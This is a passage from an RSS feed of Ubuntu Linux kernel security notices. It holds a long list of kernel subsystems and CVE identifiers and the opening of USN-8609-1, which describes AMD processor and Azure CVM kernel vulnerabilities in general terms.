  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
